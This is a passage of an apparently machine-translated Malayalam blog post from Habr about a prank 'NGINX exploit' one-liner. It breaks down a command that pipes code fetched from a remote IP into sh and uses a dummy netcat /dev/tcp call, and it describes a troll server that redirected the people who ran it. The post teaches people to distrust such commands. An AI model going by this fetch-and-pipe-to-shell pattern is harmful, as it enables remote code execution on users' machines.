  • |sh; - เดฎเดฑเตเดฑเตŠเดฐเต เดชเตเดฐเดงเดพเดจ เดญเดพเด—เด‚. เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเดพเดฏ เดตเต†เดฌเต เดธเต†เตผเดตเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต เดตเดฐเตเดจเตเดจ เด•เต‹เดกเต เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต เดžเด™เตเด™เตพเด•เตเด•เต เด”เดŸเตเดŸเตเดชเตเดŸเตเดŸเต sh/bash-เดฒเต‡เด•เตเด•เต เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเต เดšเต†เดฏเตเดฏเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - เดจเต†เดฑเตเดฑเตเด•เดพเดฑเตเดฑเต เดธเต‚เดšเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจ เด’เดฐเต เดกเดฎเตเดฎเดฟ /dev/tcp/localhostเด…เด™เตเด™เดจเต† เดŽเดฒเตเดฒเดพเด‚ เดตเต€เดฃเตเดŸเตเด‚ เดธเตเดฐเด•เตเดทเดฟเดคเดฎเดพเดฏเดฟ เด•เดพเดฃเดชเตเดชเต†เดŸเตเดจเตเดจเต. เดตเดพเดธเตเดคเดตเดคเตเดคเดฟเตฝ, เด…เดคเต เด’เดจเตเดจเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเดฟเดฒเตเดฒ, เดธเต—เดจเตเดฆเดฐเตเดฏเดคเตเดคเดฟเตปเตเดฑเต† เดตเดฐเดฟเดฏเดฟเตฝ เด‰เตพเดชเตเดชเต†เดŸเตเดคเตเดคเดฟเดฏเดฟเดŸเตเดŸเตเดฃเตเดŸเต.

เดตเตบ-เดฒเตˆเตป เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเดฟเตปเตเดฑเต† เดกเต€เด•เต‹เดกเดฟเด‚เด—เตเด‚ "เดธเต‹เดทเตเดฏเต‹-เด‡เดฒเด•เตเดŸเตเดฐเต‹เดฃเดฟเด•เต เดŽเดžเตเดšเดฟเดจเต€เดฏเดฑเดฟเด‚เด—เดฟเตปเตเดฑเต†" (เดธเด™เตเด•เต€เตผเดฃเตเดฃเดฎเดพเดฏ เดซเดฟเดทเดฟเด‚เด—เต) เดตเดถเด™เตเด™เดณเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเตเดณเตเดณ เดšเตผเดšเตเดšเดฏเตเด‚ เด‡เดคเต เด…เดตเดธเดพเดจเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเต.

เดตเต†เดฌเต เดธเต†เตผเดตเตผ เด•เต‹เตบเดซเดฟเด—เดฑเต‡เดทเดจเตเด‚ เดชเตเดฐเดคเดฟเดฐเต‹เดง เดจเดŸเดชเดŸเดฟเด•เดณเตเด‚

เดŽเตปเตเดฑเต† เดธเดฌเตโ€Œเดธเตโ€Œเด•เตเดฐเตˆเดฌเตผเดฎเดพเดฐเดฟเตฝ เดฌเดนเตเดญเต‚เดฐเดฟเดชเด•เตเดทเดตเตเด‚ เด‡เตปเดซเต‹เดธเต†เด•เต/เดนเดพเด•เตเด•เตผเดฎเดพเดฐเดพเดฏเดคเดฟเดจเดพเตฝ, เด…เดตเดฐเตเดŸเต† เดญเดพเด—เดคเตเดคเตเดณเตเดณ "เดคเดพเตฝเดชเตเดชเดฐเตเดฏเด‚" เดชเตเดฐเด•เดŸเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเตฝ เดจเดฟเดจเตเดจเต เดตเต†เดฌเต เดธเต†เตผเดตเดฑเดฟเดจเต† เด•เตเดฑเดšเตเดšเตเด•เต‚เดŸเดฟ เดชเตเดฐเดคเดฟเดฐเต‹เดงเดฟเด•เตเด•เดพเตป เดžเดพเตป เดคเต€เดฐเตเดฎเดพเดจเดฟเดšเตเดšเต, เด…เดคเดฟเดฒเต‚เดŸเต† เด†เตบเด•เตเดŸเตเดŸเดฟเด•เตพเด•เตเด•เต เดŽเดจเตเดคเต†เด™เตเด•เดฟเดฒเตเด‚ เดšเต†เดฏเตเดฏเดพเดจเตเดฃเตเดŸเต (เด…เดคเต เดฐเดธเด•เดฐเดฎเดพเดฏเดฟเดฐเดฟเด•เตเด•เตเด‚. เดธเดœเตเดœเดฎเดพเด•เตเด•เตเด•). เดชเดฐเต€เด•เตเดทเดฃเด‚ เด‡เดชเตเดชเต‹เดดเตเด‚ เดจเดŸเดจเตเดจเตเด•เตŠเดฃเตเดŸเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเดพเตฝ เดŽเดฒเตเดฒเดพ เด…เดชเด•เดŸเด™เตเด™เดณเตเด‚ เดžเดพเตป เด‡เดตเดฟเดŸเต† เดชเดŸเตเดŸเดฟเด•เดชเตเดชเต†เดŸเตเดคเตเดคเดพเตป เดชเต‹เด•เตเดจเตเดจเดฟเดฒเตเดฒ, เดŽเดจเตเดจเดพเตฝ เดธเต†เตผเดตเตผ เดšเต†เดฏเตเดฏเตเดจเตเดจ เดšเดฟเดฒ เด•เดพเดฐเตเดฏเด™เตเด™เตพ เด‡เดคเดพ:

  • เดšเดฟเดฒ เดธเต‹เดทเตเดฏเตฝ เดจเต†เดฑเตเดฑเตโ€Œเดตเตผเด•เตเด•เตเด•เดณเดฟเดฒเต† เดตเดฟเดคเดฐเดฃ เดถเตเดฐเดฎเด™เตเด™เตพ เดธเดœเต€เดตเดฎเดพเดฏเดฟ เดจเดฟเดฐเต€เด•เตเดทเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดฒเดฟเด™เตเด•เดฟเตฝ เด•เตเดฒเดฟเด•เตเด•เตเดšเต†เดฏเตเดฏเดพเตป เด‰เดชเดฏเต‹เด•เตเดคเดพเดตเดฟเดจเต† เดชเตเดฐเต‹เดคเตเดธเดพเดนเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดตเดฟเดตเดฟเดง เดชเตเดฐเดฟเดตเตเดฏเต‚ เดฒเด˜เตเดšเดฟเดคเตเดฐเด™เตเด™เตพ เดฎเดพเดฑเตเดฑเดฟเดธเตเดฅเดพเดชเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต.
  • เดทเต†เตฝ เดธเตโ€Œเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เด•เดพเดฃเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดชเด•เดฐเด‚ Chrome/Mozilla/Safari/etc เดŽเดจเตเดจเดฟเดตเดฏเต† Thugcrowd เดชเตเดฐเตŠเดฎเต‹เดทเดฃเตฝ เดตเต€เดกเดฟเดฏเต‹เดฏเดฟเดฒเต‡เด•เตเด•เต เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเต เดšเต†เดฏเตเดฏเตเดจเตเดจเต.
  • เดจเตเดดเดžเตเดžเตเด•เดฏเดฑเตเดฑเดคเตเดคเดฟเตปเตเดฑเต†/เดชเตเดฐเด•เดŸเดฎเดพเดฏ เดนเดพเด•เตเด•เดฟเด‚เด—เดฟเตปเตเดฑเต† เดตเตเดฏเด•เตเดคเดฎเดพเดฏ เดธเต‚เดšเดจเด•เตพเด•เตเด•เดพเดฏเตเดณเตเดณ เดตเดพเดšเตเดšเตเด•เตพ, เดคเตเดŸเตผเดจเตเดจเต NSA เดธเต†เตผเดตเดฑเตเด•เดณเดฟเดฒเต‡เด•เตเด•เต (ha!) เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเต เดšเต†เดฏเตเดฏเดพเตป เดคเตเดŸเด™เตเด™เตเดจเตเดจเต.
  • เด’เดฐเต เดธเดพเดงเดพเดฐเดฃ เดฌเตเดฐเต—เดธเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต เดนเต‹เดธเตเดฑเตเดฑเต เดธเดจเตเดฆเตผเดถเดฟเด•เตเด•เตเดจเตเดจ เด‰เดชเดฏเต‹เด•เตเดคเดพเด•เตเด•เดณเตเดŸเต† เดŽเดฒเตเดฒเดพ เด•เดฎเตเดชเตเดฏเต‚เดŸเตเดŸเดฑเตเด•เดณเดฟเดฒเตเด‚ เด’เดฐเต เดŸเตเดฐเต‹เดœเดจเตเด‚ เดฌเดฏเต‹เดธเต เดฑเต‚เดŸเตเดŸเตเด•เดฟเดฑเตเดฑเตเด‚ เด‡เตปเดธเตเดฑเตเดฑเดพเตพ เดšเต†เดฏเตเดฏเตเดจเตเดจเต (เดคเดฎเดพเดถ!).

เดตเตเดฏเดพเดœ nginx เดšเต‚เดทเดฃเดคเตเดคเต‹เดŸเตเด•เต‚เดŸเดฟเดฏ เด’เดฐเต เดธเดพเดฎเต‚เดนเดฟเด• เดชเดฐเต€เด•เตเดทเดฃเดคเตเดคเดฟเดจเตเดฑเต† เดตเดฟเดœเดฏเด‚
เด†เตปเตเดฑเดฟเดฎเดฑเตเด•เดณเตเดŸเต† เด’เดฐเต เดšเต†เดฑเดฟเดฏ เดญเดพเด—เด‚

เดˆ เดธเดพเดนเดšเดฐเตเดฏเดคเตเดคเดฟเตฝ, เด…เดชเตเดชเดพเดšเตเดšเต†เดฏเตเดŸเต† เดšเดฟเดฒ เดธเดตเดฟเดถเต‡เดทเดคเด•เตพ - เดชเตเดฐเดคเตเดฏเต‡เด•เดฟเดšเตเดšเตเด‚, เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดฑเต€เดกเดฏเดฑเด•เตโ€ŒเดŸเตเดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดฐเดธเด•เดฐเดฎเดพเดฏ เดจเดฟเดฏเดฎเด™เตเด™เตพ - เดŽเตปเตเดฑเต† เดเด• เดฒเด•เตเดทเตเดฏเด‚ - เดžเดพเตป เดšเดฟเดจเตเดคเดฟเดšเตเดšเต: เดŽเดจเตเดคเตเด•เตŠเดฃเตเดŸเต?

NGINX เดšเต‚เดทเดฃเด‚ (เดฏเดฅเดพเตผเดคเตเดฅเด‚!)

เดธเดฌเตโ€Œเดธเตโ€Œเด•เตเดฐเตˆเดฌเตเดšเต†เดฏเตเดฏเตเด• @เด…เดฒเดฟเดธเดพเดธเต‡เดœเต Twitter-เตฝ, NGINX-เดฒเต† เดฏเดฅเดพเตผเดคเตเดฅ เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดชเดฐเดฟเดนเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเด‚ เด…เดตเดธเดฐเด™เตเด™เตพ เดšเต‚เดทเดฃเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเด‚ ZDI-เดฏเตเดŸเต† เดฎเดนเดคเตเดคเดพเดฏ เดชเตเดฐเดตเตผเดคเตเดคเดจเด‚ เดชเดฟเดจเตเดคเตเดŸเดฐเตเด•. เด…เดตเดฐเตเดŸเต† เดชเตเดฐเดตเตƒเดคเตเดคเดฟ เดŽเดจเตเดจเต† เดŽเดชเตเดชเต‹เดดเตเด‚ เด†เด•เตผเดทเดฟเดšเตเดšเดฟเดŸเตเดŸเตเดฃเตเดŸเต, เดŽเตปเตเดฑเต† เดตเดฟเดกเตเดขเดฟเดคเตเดคเดฎเดพเดฏ เดŸเตเดตเต€เดฑเตเดฑเต เด•เดพเดฐเดฃเดฎเดพเดฏ เดŽเดฒเตเดฒเดพ เดชเดฐเดพเดฎเตผเดถเด™เตเด™เดณเต‹เดŸเตเด‚ เด…เดฑเดฟเดฏเดฟเดชเตเดชเตเด•เดณเต‹เดŸเตเด‚ เด•เตเดทเดฎเดฏเต‹เดŸเต† เด†เดฒเต€เดธเดฟเดจเต‹เดŸเต เดžเดพเตป เดจเดจเตเดฆเดฟเดฏเตเดณเตเดณเดตเดณเดพเดฃเต. เดญเดพเด—เตเดฏเดตเดถเดพเตฝ, เด‡เดคเต เดšเดฟเดฒ เด—เตเดฃเด™เตเด™เดณเตเด‚ เดšเต†เดฏเตเดคเต: เด‡เดคเต NGINX เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ, เดšเตเดฐเตเดณเตป เดฆเตเดฐเตเดชเดฏเต‹เด—เด‚ เดฎเต‚เดฒเดฎเตเดฃเตเดŸเดพเด•เตเดจเตเดจ เดชเตเดฐเดถเตเดจเด™เตเด™เตพ เดŽเดจเตเดจเดฟเดตเดฏเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เด…เดตเดฌเต‹เดงเด‚ เดตเดณเตผเดคเตเดคเดพเตป เดธเดนเดพเดฏเดฟเดšเตเดšเต.

เด…เดตเดฒเด‚เดฌเด‚: www.habr.com

เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•